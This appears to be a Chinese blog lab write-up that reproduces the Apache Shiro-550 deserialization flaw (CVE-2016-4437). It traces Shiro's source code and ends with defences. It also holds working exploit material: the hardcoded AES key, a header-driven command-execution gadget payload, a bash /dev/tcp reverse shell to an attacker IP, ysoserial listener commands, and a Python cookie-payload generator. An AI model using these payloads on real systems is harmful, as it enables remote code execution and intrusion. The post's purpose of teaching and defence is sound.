本文最后更新于 2024-08-18,文章内容可能已经过时。

Shiro-550反序列化漏洞复现

一、前置知识

1.1 shiro介绍

​ Apache Shiro是一个强大易用的Java安全框架,提供了认证,授权,加密和会话管理等功能,对于任何一个应用程序,Shiro都可以提供全面的安全管理服务。

image-20240813034901960

Primary Cocnerns(基本关注点:主要功能):

  • Authentication(认证):经常和登录挂钩,是证明用户说他们是谁的一个工作
  • Authorization(授权):访问控制的过程,即决定谁可以访问什么
  • Session Management(会话管理):管理用户特定的会话,即使在非web或者是EJB的应用中
  • Crytography(加密):通过加密算法保证数据的安全,且易于使用Supporting Features(辅助特性)
  • Web Support(网络支持):web support API可以帮助在web应用中方便的使用shiro

Supporting Features(辅助特性)

  • Web Support(网络支持):web support API 可以帮助在web应用中方便的使用shiro
  • Caching(缓存):保证安全操作使用快速有效
  • Concurrency(并发):支持多线程应用
  • Testing(测试):支持集成单元测试
  • Run As(以…运行):可以假定一个用户成为另一个用户
  • Remeber Me(记住用户,无需再次登录)(漏洞主要就出现在这个模块上)

1.2 Shiro服务端识别身份加密处理Cookie的流程

1.2.1 加密

  1. 用户使用账户密码进行登录,并勾选’Remember Me’
  2. Shiro验证用户登录信息,通过后,查看用户是否勾选了‘Remeber Me’
  3. 若勾选,则将用户身份序列化,并将序列化的内容进行AES加密,再使用base64编码
  4. 最后将处理好的内容放于cookie中的remember Me字段

1.2.2 解密

  1. 当服务端收到来自未经身份验证的用户的请求的时候,会在客户端发送请求中的cookie中获取Remember Me字段内容
  2. 将获取到的Remember Me字段进行base64解码,再使用AES解密。
  3. 最后将解密出来的内容进行反序列化,获取到用户身份。

二、Shiro-550漏洞

2.1 漏洞简介

​ Shiro-550主要是由于Shiro的Remember Me内容反序列化导致的命令执行漏洞,造成的原因是默认加密密钥是硬编码在shiro源码中,任何有权访问源代码的人都可以知道默认加密的密钥。于是攻击者可以创建一个恶意的对象,对其进行序列化,编码,然后将其作为cookie的Remember Me字段内容发送,shiro将其解密和反序列化,导致服务器运行黑客准备的恶意代码。

​ 所以这使得攻击者可以轻易地构造一个恶意的序列化对象,将其AES加密并Base64编码后,作为rememberMe字段发送给Shiro服务端。在服务端接收Cookie后会检查RememberMe的值 -> Base64解码 -> 使用AES解密(加密密钥硬编码)-> 反序列化(未作过滤处理)

影响版本:shiro <= 1.2.4

漏洞CVE编号:CVE-2016-4437

特征:

1.cookie中含有Remember Me字段,如:“rememberMe=JV+gEjieMVBj3EFY22pyz…”

2.cookie中含有:“rememberMe=deleteMe”

所以只要知道硬编码在源代码中的Remember Me字段的内容就可以拿到默认加密的密钥,最后反序列化进行推导出来,再创建一个恶意对象(其中编写任意代码如反弹shell等),对其进行序列化编码,然后再将其作为cookie的Remember Me字段发送,Shiro框架就会对其进行解码和反序列化,最后导致就可以执行任意代码。

2.2 漏洞分析

2.2.1 环境搭建

配置:

直接使用idea打开下载后的demo文件。

添加应用服务器tomcat

image-20240816171738300

image-20240816171817106

选择Project Structure

因为我们使用的是已经搭建好的项目,这些都已经提前配置好了

image-20240816171940716

配置Edit Configurations

url要设置为http://localhost:8080/shirodemo_war,这个路径为部署的时候设置的一级目录,所以我们让启动后浏览器自动打开这个url

image-20240816172325865

image-20240816172236594

这两个随便选,往下看,这个应用程序上下文就是我们网站的一级目录,所以上面的url要对应

image-20240816172430160

通过shiro的配置文件,可以看到,有两个用户账号root/secret和guest/guest,root账号为admin权限,登录的时候可以使用

image-20240816172548224

浏览器登录测试:

启动项目,浏览器进行访问后使用用户名和密码进行登录,勾选Remember Me,使用burp进行抓包

http://localhost:8080/shirodemo_war/login.jsp

image-20240816173540208

image-20240816173717010

可以看到我们在登录shiro框架保护的网站应用时,勾选记住我,登录成功后会在返回包中有一个set-Cookie字段的rememberMe,在之后的请求中都会带上这个数据,这个数据就是shrio框架进行处理过后的AES加密的密钥key,再次登录的时候就会记住登录过的用户名和密码。

image-20240816174303140

这里出现问题的点就在于AES加解密的过程中使用的密钥key。

AES是一种对称密钥密码体制,加解密用到是相同的密钥,这个密钥应该是绝对保密的,但在shiro版本<=1.2.24的版本中使用了固定的密钥kPH+bIxk5D2deZiIxcaaaA==,并写在源代码中,这样攻击者如果获取了源代码就直接就可以用这个密钥实现上述加密过程,在Cookie字段写入想要服务端执行的恶意代码,最后服务端在对cookie进行解密的时候(反序列化后)就会执行恶意代码

2.2.2 加密过程分析(源代码分析)

访问前面项目搭建好的url地址:http://localhost:8080/shirodemo_war/login.jsp

使用其提供的root用户登录,并勾选“Remember Me”

image-20240816174656345

已知,漏洞点出在Cookie:remeberMe字段中,全局搜索含有Cookie的类,其中CookieRemeberMeManager最符合漏洞信息。

image-20240816180251224

点击进入,其中getRememberedSerializedIdentity类,看名字就能猜到为获取RememberMe序列化的认证信息。

image-20240816180421453

仔细查看这个方法的代码,可以发现该方法,首先判断是否为HTTP请求,如果为HTTP请求,则获取remeberMe的值,接着判断是否为deleteMe,不是则判断是否符合Base64的编码长度,然后对其Base64解码,并将解码结果返回。

image-20240816180606713

跟进函数看一下,谁调用了getRememberedSerializedIdentity() 这个方法。

image-20240816180932612

在getRememberedPrincipals方法中的convertBytesToPrincipals,从字面意思就能理解,转换字节为认证信息

再次跟进convertBytesToPrincipals方法

image-20240816181343028

可以看出很明确做了两件事情,先使用decrypt进行解密,再利用deserialize进行反序列化

跟进decrypt方法

image-20240816181443032

可以看到if函数中进行了调用了进行获取解密密钥的方法getDecryptionCipherKey

跟进getDecryptionCipherKey方法,可以看到返回了一个decryptionCipherKey,再次跟进

可以发现它是一个private属性的常量。

image-20240816181636565

image-20240816181750770

看谁给decryptionCipherKey赋值

image-20240816182648275

image-20240816182726888

看谁调用了setCipherKey

image-20240816182835564

查看setCipherKey这个方法被谁调用,可以看到用于加密的encryptionCipherKey与解密的decryptionCipherKey都是通过setCipherKey()这个方法来设置的,而该类的构造方法就调用了

setCipherKey()方法来设置为DEFAULT_CIPHER_KEY_BYTES

image-20240816183235265

image-20240816183303519

注意这个DEFAULT_CIPHER_KEY_BYTES这个,看字面意思就是默认的key,直接跟进后可以发现存储在代码中的加密的密钥。

image-20240816183521987

这也就是Shiro-550反序列化漏洞的关键点

然后再看下deserialize方法

image-20240816183609851

看下时谁调用了deserialize()这个接口方法

image-20240816183953713

image-20240816184043818

可以看到DefultSerializer调用了readObject(),即反序列化漏洞的触发点。这里的deserialize方法,发现其没有对传入的序列化数据进行任何过滤处理,直接调用的是ObjectinputStream的readObject方法进行反序列化操作,从而使得可以利用该方法触发Apache Commons Conllections链(即CC链)的反序列化漏洞。

image-20240816184137069

首次登录的界面代码分析

我们先看下登录的地方代码分析下,在AbstractRememberMeManager类的 onSuccessfulLogin 处打下断点,然后输入用户名密码进行登录,程序会运行到断点处停止。

image-20240816184654943

if (isRememberMe(token))会判断用户是否勾选RememberMe

进入rememberIdentity() 方法

image-20240816184718292

进入rememberIdentity

image-20240816184733177

进入 convertPrincipalsToBytes() 方法,与解密分析中convertBytesToPrincipals() 方法相反

image-20240816184750099

很明显的看出convertPrincipalsToBytes() 方法是对字段进行序列化操作,然后进行加密

image-20240816184801814

进入getSerializer().serialize(principals) 方法

image-20240816184814338

可以看到这里进行正常的序列化操作

image-20240816184830995

再分析加密操作

进入encrypt方法。这个方法定义了一个

image-20240816184856648

与解密类似,在getEncryptionCipherKey()获取密钥常量

image-20240816184947567

跟进getEncryptionCipherKey()

image-20240816185023332

接下来分析rememberSerializedIdentity

image-20240816185035507

首先就是判断是否为HTTP请求

image-20240816185050691

对序列化和AES加密后的内容进行Base64编码

image-20240816185110764

如此可见整个shiro框架对加密key的操作和漏洞触发的关键点,由此可见此漏洞的原理和利用的关键点就是获取Remember Me的值和进行反序列化漏洞的利用。

后续用户获取到权限进行访问,根据这些可以构造出poc代码

网上有各种现成的poc代码,这里给放上xray作者写的poc,说是可以找到tomcat的全版本回显

参考链接:

public static Object createTemplatesTomcatEcho() throws Exception {
        if (Boolean.parseBoolean(System.getProperty("properXalan", "false"))) {
            return createTemplatesImplEcho(
                Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
                Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
                Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));
        }
 
        return createTemplatesImplEcho(TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
    }
 
    // Tomcat 全版本 payload,测试通过 tomcat6,7,8,9
    // 给请求添加 Testecho: 123,将在响应 header 看到 Testecho: 123,可以用与可靠漏洞的漏洞检测
    // 给请求添加 Testcmd: id 会执行 id 命令并将回显写在响应 body 中
    public static &lt;T> T createTemplatesImplEcho(Class&lt;T> tplClass, Class&lt;?> abstTranslet, Class&lt;?> transFactory)
        throws Exception {
        final T templates = tplClass.newInstance();
 
        // use template gadget class
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(abstTranslet));
        CtClass clazz;
        clazz = pool.makeClass("ysoserial.Pwner" + System.nanoTime());
        if (clazz.getDeclaredConstructors().length != 0) {
            clazz.removeConstructor(clazz.getDeclaredConstructors()[0]);
        }
        clazz.addMethod(CtMethod.make("private static void writeBody(Object resp, byte[] bs) throws Exception {\n" +
            "    Object o;\n" +
            "    Class clazz;\n" +
            "    try {\n" +
            "        clazz = Class.forName(\"org.apache.tomcat.util.buf.ByteChunk\");\n" +
            "        o = clazz.newInstance();\n" +
            "        clazz.getDeclaredMethod(\"setBytes\", new Class[]{byte[].class, int.class, int.class}).invoke(o, new Object[]{bs, new Integer(0), new Integer(bs.length)});\n" +
            "        resp.getClass().getMethod(\"doWrite\", new Class[]{clazz}).invoke(resp, new Object[]{o});\n" +
            "    } catch (ClassNotFoundException e) {\n" +
            "        clazz = Class.forName(\"java.nio.ByteBuffer\");\n" +
            "        o = clazz.getDeclaredMethod(\"wrap\", new Class[]{byte[].class}).invoke(clazz, new Object[]{bs});\n" +
            "        resp.getClass().getMethod(\"doWrite\", new Class[]{clazz}).invoke(resp, new Object[]{o});\n" +
            "    } catch (NoSuchMethodException e) {\n" +
            "        clazz = Class.forName(\"java.nio.ByteBuffer\");\n" +
            "        o = clazz.getDeclaredMethod(\"wrap\", new Class[]{byte[].class}).invoke(clazz, new Object[]{bs});\n" +
            "        resp.getClass().getMethod(\"doWrite\", new Class[]{clazz}).invoke(resp, new Object[]{o});\n" +
            "    }\n" +
            "}", clazz));
        clazz.addMethod(CtMethod.make("private static Object getFV(Object o, String s) throws Exception {\n" +
            "    java.lang.reflect.Field f = null;\n" +
            "    Class clazz = o.getClass();\n" +
            "    while (clazz != Object.class) {\n" +
            "        try {\n" +
            "            f = clazz.getDeclaredField(s);\n" +
            "            break;\n" +
            "        } catch (NoSuchFieldException e) {\n" +
            "            clazz = clazz.getSuperclass();\n" +
            "        }\n" +
            "    }\n" +
            "    if (f == null) {\n" +
            "        throw new NoSuchFieldException(s);\n" +
            "    }\n" +
            "    f.setAccessible(true);\n" +
            "    return f.get(o);\n" +
            "}\n", clazz));
        clazz.addConstructor(CtNewConstructor.make("public TomcatEcho() throws Exception {\n" +
            "    Object o;\n" +
            "    Object resp;\n" +
            "    String s;\n" +
            "    boolean done = false;\n" +
            "    Thread[] ts = (Thread[]) getFV(Thread.currentThread().getThreadGroup(), \"threads\");\n" +
            "    for (int i = 0; i &lt; ts.length; i++) {\n" +
            "        Thread t = ts[i];\n" +
            "        if (t == null) {\n" +
            "            continue;\n" +
            "        }\n" +
            "        s = t.getName();\n" +
            "        if (!s.contains(\"exec\") &amp;&amp; s.contains(\"http\")) {\n" +
            "            o = getFV(t, \"target\");\n" +
            "            if (!(o instanceof Runnable)) {\n" +
            "                continue;\n" +
            "            }\n" +
            "\n" +
            "            try {\n" +
            "                o = getFV(getFV(getFV(o, \"this$0\"), \"handler\"), \"global\");\n" +
            "            } catch (Exception e) {\n" +
            "                continue;\n" +
            "            }\n" +
            "\n" +
            "            java.util.List ps = (java.util.List) getFV(o, \"processors\");\n" +
            "            for (int j = 0; j &lt; ps.size(); j++) {\n" +
            "                Object p = ps.get(j);\n" +
            "                o = getFV(p, \"req\");\n" +
            "                resp = o.getClass().getMethod(\"getResponse\", new Class[0]).invoke(o, new Object[0]);\n" +
            "                s = (String) o.getClass().getMethod(\"getHeader\", new Class[]{String.class}).invoke(o, new Object[]{\"Testecho\"});\n" +
            "                if (s != null &amp;&amp; !s.isEmpty()) {\n" +
            "                    resp.getClass().getMethod(\"setStatus\", new Class[]{int.class}).invoke(resp, new Object[]{new Integer(200)});\n" +
            "                    resp.getClass().getMethod(\"addHeader\", new Class[]{String.class, String.class}).invoke(resp, new Object[]{\"Testecho\", s});\n" +
            "                    done = true;\n" +
            "                }\n" +
            "                s = (String) o.getClass().getMethod(\"getHeader\", new Class[]{String.class}).invoke(o, new Object[]{\"Testcmd\"});\n" +
            "                if (s != null &amp;&amp; !s.isEmpty()) {\n" +
            "                    resp.getClass().getMethod(\"setStatus\", new Class[]{int.class}).invoke(resp, new Object[]{new Integer(200)});\n" +
            "                    String[] cmd = System.getProperty(\"os.name\").toLowerCase().contains(\"window\") ? new String[]{\"cmd.exe\", \"/c\", s} : new String[]{\"/bin/sh\", \"-c\", s};\n" +
            "                    writeBody(resp, new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter(\"\\\\A\").next().getBytes());\n" +
            "                    done = true;\n" +
            "                }\n" +
            "                if ((s == null || s.isEmpty()) &amp;&amp; done) {\n" +
            "                    writeBody(resp, System.getProperties().toString().getBytes());\n" +
            "                }\n" +
            "\n" +
            "                if (done) {\n" +
            "                    break;\n" +
            "                }\n" +
            "            }\n" +
            "            if (done) {\n" +
            "                break;\n" +
            "            }\n" +
            "        }\n" +
            "    }\n" +
            "}", clazz));
 
        CtClass superC = pool.get(abstTranslet.getName());
        clazz.setSuperclass(superC);
 
        final byte[] classBytes = clazz.toBytecode();
 
        // inject class bytes into instance
        Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{
            classBytes,
//            classBytes, ClassFiles.classAsBytes(Foo.class)
        });
 
        // required to make TemplatesImpl happy
        Reflections.setFieldValue(templates, "_name", "Pwnr");
        Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
        return templates;
    }

方法调用图。查看顺序“从上到下,从左到右”:

image-20240818012604729

2.3 漏洞复现过程

2.3.1 实验环境

首先要按照好docker和配置好docker镜像,由于docker近期由于某些原因国内不能用,这里放上docker暂时能用的镜像源和安装脚本。

#首先更新下centos的软件源
bash <(curl -sSL https://linuxmirrors.cn/main.sh)

#进行安装docker
bash <(curl -sSL https://linuxmirrors.cn/docker.sh)

## 脚本是命令行界面,直接选择数字下一步进行安装即可,如果不行可以多换几个试试。

暂时可以用的docker镜像源

vi进行写入替换docker原本的文件内容:vi /etc/docker/daemon.json

{
  "registry-mirrors": [
    "https://docker.registry.cyou",
    "https://docker-cf.registry.cyou",
    "https://dockercf.jsdelivr.fyi",
    "https://docker.jsdelivr.fyi",
    "https://dockertest.jsdelivr.fyi",
    "https://mirror.aliyuncs.com",
    "https://dockerproxy.com",
    "https://mirror.baidubce.com",
    "https://docker.m.daocloud.io",
    "https://docker.nju.edu.cn",
    "https://docker.mirrors.sjtug.sjtu.edu.cn",
    "https://docker.mirrors.ustc.edu.cn",
    "https://mirror.iscas.ac.cn",
    "https://docker.rainbond.cc"
  ]
}

被攻击主机:

​ 主机 :Centos7.9 (ip:192.168.91.128)

​ 漏洞环境:vulnlab/shiro:1.2.4

攻击机:

​ 主机:window10

​ 漏洞利用工具:

ShiroExploit by 飞鸿(https://github.com/feihong-cs/ShiroExploit-Deprecated)

ShiroAttack2一款针对Shiro550漏洞进行快速漏洞利用:

https://github.com/SummerSec/ShiroAttack2)

ysoserial:(https://github.com/frohoff/ysoserial)

netcat-win31.12:(https://eternallybored.org/misc/netcat/)

​ kali(ip:192.168.91.129)

2.3.2 漏洞利用

docker进行安装漏洞复现环境

#docker拉取镜像
docker pull vulhub/shiro:1.2.4
docker image查看镜像名字
#启动并创建容器
docker run -itd --name shiro550 -p 8080:8080 vulnlab/shiro:1.2.4
docker ps查看启动的容器

## 浏览器进行访问http://192.168.91.128:8080

image-20240818012034865

ShiroExploit飞鸿工具箱利用

启动ShiroExploit工具,命令行java -jar ShiroExploit.jar

image-20240818014003336

image-20240818014139765

kali设置好nc反弹,监听8088端口

nc -lvvp 8088

执行工具的反弹shell命令,反弹成功。

image-20240816123620222

ShiroAttack2工具一键利用

cmd启动工具:

java -jar shiro_attack-4.7.0-SNAPSHOT-all.jar

可爆破密钥,爆破利用连及回显:

image-20240818020932028

功能区包括:检测日志、命令执行、内存马、key生成:

image-20240818021027010

利用ysoserial工具反弹shell

使用ysoserial监听模块JRMP来进行反弹shell

反弹shell的代码:

反弹shell的命令为bash -i >& /dev/tcp/192.168.91.129/12345 0>&1,利用Java Runtime配合Bash64编码:

自动生成网站:https://ares-x.com/tools/runtime-exec

image-20240818021723019

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjkxLjEyOS8xMjM0NSAwPiYx}|{base64,-d}|{bash,-i}

本地开启 JRMP 监听,监听本地 2333 端口,利用链使用 CommonsBeanutils1:

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 2333 CommonsBeanutils1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjkxLjEyOS8xMjM0NSAwPiYx}|{base64,-d}|{bash,-i}"

image-20240818023231143

Python生成Payload替换Cookie,pyload如下:

# python3
import base64
import uuid
import subprocess
from Crypto.Cipher import AES

def rememberme(command):
    popen = subprocess.Popen([r'java', '-jar', r'ysoserial-master-SNAPSHOT.jar', 'JRMPClient', command],
                             stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = "kPH+bIxk5D2deZiIxcaaaA==" # AES密钥key
    mode = AES.MODE_CBC
    iv = b' ' * 16
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

if __name__ == '__main__':
    payload = rememberme('192.168.91.129:2333')
    # 192.168.91.129:2333 是攻击机远程RMI服务
    print("rememberMe={}".format(payload.decode()))

python2 shiro.py 192.168.91.129:2333

注意shiro.py的位置应当保证和ysoserial.jar在同一目录下,否则会报错找不到ysoserial.jar

rememberMe=ICAgICAgICAgICAgICAgIKJBToq3AgWpkZCN9zQ2dfEHCco/VzhG+3LQHh5Zaer60r5Jwla79z0XmDOj8+w1eKA2vgHYMkiWYHxPTnCTruQce9qUyi1DfZbejmiqT0SdmloCk0mpI/GFrLviKn4NgEccphmdxaeejF7aza2uR6mZR4DYZWErT6EgMoqKwqkMtO91HfpMZW3QSbxaeFLQDQS/E6tc3GQRK4qxMxbx0/yd4ADT3MH58lLcdtvXgyLG51gaMpDMeYXLxHoEhvYmZPhiPD1qrGJ5wLHzV/WSvA4NFHQn7cMvBKoT+6IvtRY4WM56jD8u4mqvpKxbncRUdUB4gsr3BMwxc5gV1VjA8tWO61yWSra0/T2bMVQrfpZXrmOg/1uPBm7thm8b5anJlw==

burp抓包后将拿到的 rememberMe 替换Cookie发送:

image-20240818023954330

靶机回连本地 JRMP 服务,JRMP服务端收到请求:

image-20240818023747550

靶机收到 gadget 对象对其反序列化造成命令执行,造成反弹shell命令成功:

image-20240818023837954

2.4 流量特征

http请求头中有rememberme的字样和base64编码,把cookie值复制出来,解码再解密,就会发现恶意函数

2.5 防御

  • 升级Shiro版本:将Apache Shiro升级到1.2.4以上的版本,因为1.2.5及以后的版本中,AES密钥不再是硬编码的,而是在每次Shiro启动时随机生成一个新的密钥。
  • 更换AES密钥:如果不升级Shiro版本,应修改rememberMe的默认密钥。使用Shiro官方提供的方法随机生成一个新的密钥,并妥善保管好该密钥。
    官方密钥生成方法:
  • org.apache.shiro.crypto.AbstractSymmetricCipherService#generateNewKey()
  • 禁用rememberMe功能:如果应用程序不需要使用rememberMe功能,可以考虑完全禁用它。

参考文献

Apache Shiro-550 反序列化漏洞复现
https://blog.csdn.net/ZXT02/article/details/137156013

Apache Shiro-550 反序列化漏洞简单分析复现(CVE-2016-4437)
https://blog.csdn.net/weixin_44112065/article/details/124120625

shiro反序列化漏洞分析
https://blog.csdn.net/qq_35976649/article/details/123739764

shiro550反序列化漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)https://blog.csdn.net/Bossfrank/article/details/130173880

shiro反序列化漏洞原理分析以及漏洞复现(Shiro-550/Shiro-721漏洞复现)https://zhuanlan.zhihu.com/p/663598887